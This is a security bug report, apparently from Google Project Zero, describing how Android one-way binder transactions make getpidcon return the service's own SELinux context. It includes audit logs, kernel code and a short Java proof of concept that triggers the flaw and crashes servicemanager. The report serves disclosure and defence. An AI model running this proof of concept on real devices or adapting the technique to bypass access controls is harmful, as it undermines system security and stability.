New issue
Advanced search Search tips
Starred by 2 users
Status: WontFix
Owner:
Closed: Feb 2016
Cc:



Sign in to add a comment
Android: Calling getpidcon for One Way Binder Transactions Returns Wrong Security Context
Project Member Reported by forshaw@google.com, Feb 9 2016 Back to list
Android: Calling getpidcon for One Way Binder Transactions Returns Wrong Security Context
Platform: Tested on Android 6.0.1 February patches
Class: Elevation of Privilege

Summary:
The servicemanager, keystore and drmserver all use getpidcon function to get the security context of the caller from a binder. When combined with a one way binder transaction this results in getting the security context of the current process which might allow a selinux mac bypass.

Description:
When a one way binder call is the made the binder driver always sets the sender_pid in the transaction to 0. If this is used (by calling IPCThreadState::getCallingPid or similar) without verification and passed to getpidcon that function returns the security context of the calling process. As in getpidcon(0, …) is equivalent to getpidcon(getpid(), …).

For example if we make a transaction to the service manager as a normal application trying to add a new system service (which is blocked by selinux) you’ll get a audit log like the following:

E/SELinux: avc:  denied  { add } for service=IExampleServer scontext=u:r:untrusted_app:s0:c512,c768 tcontext=u:object_r:default_android_service:s0 tclass=service_manager

Note the scontext is untrusted_app as expected. Now if we issue this same call as a one way transaction we get a different result (also this will crash the service manager but for a different reason I’ve already reported).

E/SELinux: avc:  denied  { add } for service=IExampleServer scontext=u:r:servicemanager:s0 tcontext=u:object_r:default_android_service:s0 tclass=service_manager

Now the scontext is servicemanager. Fortunately in this case servicemanager doesn’t have any permissions to add a service either so it still fails. However it isn’t the case with things like the keystore, although I’m not sure if there’s actually any lockdown enabled on the keystore at the moment which we'd need to bypass.

Now of course being a one way transaction this means that no data can be received back from the transaction. However the binder uses the following code to get the PID even for a normal transaction, there are failure cases where this can return 0 as well so potentially a bi-directional call could be made with enough work.

if (t->from) {
   struct task_struct *sender = t->from->proc->tsk;

  tr.sender_pid = task_tgid_nr_ns(sender,
  task_active_pid_ns(current));
} else {
  tr.sender_pid = 0;
}

Proof of Concept:
I’ve provided a PoC which exploits the issue and prints the two different audit logs. If the second audit log shows the wrong scontext then the OS is vulnerable. Note this will also crash the service manager for unrelated reasons. To use copy the following code into a normal application and call runServiceManagerSeLinux.

void doServiceManagerTest(boolean oneway) {
   try {
       Class c = Class.forName("com.android.internal.os.BinderInternal");
       Method m = c.getMethod("getContextObject");

       IBinder serviceManager = (IBinder) m.invoke(null);
       Parcel data = Parcel.obtain();
       Parcel reply = Parcel.obtain();

       data.writeInterfaceToken("android.os.IServiceManager");
       data.writeString("IExampleServer");
       data.writeStrongBinder(new Binder() {
       });
       data.writeInt(0);
       serviceManager.transact(3, data, reply, oneway ? IBinder.FLAG_ONEWAY : 0);
   } catch(Throwable t) {
   }
}

void runServiceManagerSeLinux() {
   doServiceManagerTest(false);
   doServiceManagerTest(true);
}

In the logs you should see where the scontext differs between the two calls.

E/SELinux: avc:  denied  { add } for service=IExampleServer scontext=u:r:untrusted_app:s0:c512,c768 tcontext=u:object_r:default_android_service:s0 tclass=service_manager
E/SELinux: avc:  denied  { add } for service=IExampleServer scontext=u:r:servicemanager:s0 tcontext=u:object_r:default_android_service:s0 tclass=service_manager

This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.

 
Project Member Comment 1 by forshaw@google.com, Feb 9 2016
Project Member Comment 2 by forshaw@google.com, Feb 10 2016
Labels: AndroidID-27111481
Project Member Comment 3 by forshaw@google.com, Feb 19 2016
Labels: -Restrict-View-Commit
Status: WontFix
The Android Security Team have assessed the impact of this issue and found that it's not exploitable. Any vulnerable service either would not accept it's own security context as valid or if it did the majority of use cases already have access (such as untrusted_app to the keystore service). Therefore while there's an elevation of privilege vulnerability in the ability to cause the service to check the incorrect security context it's not exploitable in a default android release. This is planned to be fixed in mainline AOSP, but won't be back ported therefore marking it as wont fix.

As this bug has been derestricted on the AOSP issue tracker there's no reason to keep it locked down here.
Sign in to add a comment